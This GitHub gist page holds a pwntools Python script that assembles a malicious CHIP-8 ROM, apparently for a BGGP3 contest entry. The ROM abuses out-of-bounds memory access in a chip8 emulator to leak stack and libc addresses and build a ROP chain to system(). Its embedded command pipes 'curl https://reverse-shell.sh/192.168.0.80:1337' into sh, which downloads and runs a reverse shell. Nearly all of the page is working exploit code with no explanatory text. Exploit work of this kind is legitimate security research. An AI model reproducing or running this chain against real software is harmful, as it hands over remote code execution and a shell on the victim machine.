Skip to content

Instantly share code, notes, and snippets.

@DavidBuchanan314
Created July 30, 2022 00:29
Show Gist options
  • Save DavidBuchanan314/511eeaebcd88a6fc9a0757bf648d6716 to your computer and use it in GitHub Desktop.
Save DavidBuchanan314/511eeaebcd88a6fc9a0757bf648d6716 to your computer and use it in GitHub Desktop.
from pwn import *
elf = ELF("./chip8")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
PRINT_EXECUTING_OPCODE_R12_GADGET = 0x4028f0
PRINTF_CHK_EXIT_GADGET = 0x4012fa
PRINTLN_RAX_GADGET = 0x4015b0
STACK_PIVOT_GADGET = rop.search(move=0x48).address # add rsp, 0x48; ret
log.info(f"stack pivot @ {hex(STACK_PIVOT_GADGET)}")
libc_leak_offset = libc.sym["__libc_start_main"]+243 # NOTE: this may depend on your libc version
libc_system_offset = libc.sym["system"]
log.info(f"libc_leak_offset @ {hex(libc_leak_offset)}")
log.info(f"libc_system_offset @ {hex(libc_system_offset)}")
libc_system_delta = libc_system_offset - libc_leak_offset
assert(libc_system_delta > 0)
log.info(f"libc_system_delta: {hex(libc_system_delta)}")
def flatten(thing):
if isinstance(thing, list):
return sum(map(flatten, thing), start=[])
return [thing]
def set_reg(reg, value):
return 0x6000 | (reg << 8) | value
def set_i(value):
return 0xA000 | value
def add_i(reg):
return 0xF01E | (reg << 8)
def add_reg_byte(reg, byte):
return 0x7000 | (reg << 8) | byte
def add_reg_reg(reg1, reg2):
return 0x8004 | (reg1 << 8) | (reg2 << 4)
def mov(reg1, reg2):
return 0x8000 | (reg1 << 8) | (reg2 << 4)
def jump(addr):
return lambda symbols: 0x1000 | symbols.get(addr, addr)
def call(addr):
return lambda symbols: 0x2000 | symbols.get(addr, addr)
def store_regs_at_i(lastreg):
return 0xF055 | (lastreg << 8)
def load_regs_from_i(lastreg):
return 0xF065 | (lastreg << 8)
def ret():
return 0x00EE
def skip_if_reg_equals_byte(reg, byte):
return 0x3000 | (reg << 8) | byte
# helper for calling our function
def set_i_oob(offset): return [
set_reg(0xd, (offset) % 0xff),
set_reg(0xe, (offset) // 0xff),
call("set_i_oob"),
]
def db(data):
if len(data) % 2:
data += b"\0"
return [int.from_bytes(data[i:i+2], "big") for i in range(0, len(data), 2)]
def set64(value): return [
set_reg(i, (value >> (8 * i)) & 0xff)
for i in range(8)
]
def add64(value): return [ # clobbers reg 8
[
set_reg(8, (value >> (8 * i)) & 0xff),
add_reg_reg(i, 8),
call(f"ripple_carry_{i + 1}") if i < 7 else [],
]
for i in range(8)
]
program = [
jump("start"),
"cmd",
db(b"figlet Hello, BGGP3!; echo; echo Spawning reverse shell...; curl https://reverse-shell.sh/192.168.0.80:1337 | sh\0"),
"start",
set64(rop.rdi.address), # pop rdi gadget
set_i(0x20 + 8 * 0), # store at ropchain index 0
store_regs_at_i(7),
set_i_oob(0x3090),
load_regs_from_i(7), # read stack leak
add64(-(0x3190 - 0x202)), # calculate offset of cmd
set_i(0x20 + 8 * 1), # store at ropchain index 1
store_regs_at_i(7),
set_i_oob(0x30a8),
load_regs_from_i(7), # read libc leak
add64(libc_system_delta), # calculate offset of sytstem()
set_i(0x20 + 8 * 2), # store at ropchain index 2
store_regs_at_i(7),
set_i_oob(0x3048),
set64(STACK_PIVOT_GADGET),
store_regs_at_i(7),
set_reg(0, 0xff),
0xF018, # set sound timer to V0 (just needs to be something nonzero)
# routine that sets I to ((0xff * Ve) + Vd)
"set_i_oob",
set_i(0),
set_reg(0xc, 0xff), # multipurpose constant, used as 0xff, and later, -1
"add_i_loop",
add_i(0xc), # I += 0xff
add_reg_reg(0xe, 0xc), # Ve -= 1
skip_if_reg_equals_byte(0xe, 0x00),
jump("add_i_loop"),
add_i(0xd),
ret(),
# ripple carry thing
[
[
f"ripple_carry_{i}",
mov(0xe, 0xf),
add_reg_reg(i, 0xe),
]
for i in range(1, 8)
],
ret(),
]
# "assemble" the ROM
symbols = {}
flat_program = []
for thing in flatten(program):
if type(thing) is str:
symbols[thing] = 0x200 + len(flat_program) * 2
else:
flat_program.append(thing)
rom = b"".join([(x if type(x) is int else x(symbols)).to_bytes(2, "big") for x in flat_program])
log.info(f"Assembled ROM size: {len(rom)}")
open("exploit.rom", "wb").write(rom)
# start up the emulator
p = process(["./chip8", "exploit.rom"])#, env={"DISPLAY": ":0"})
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment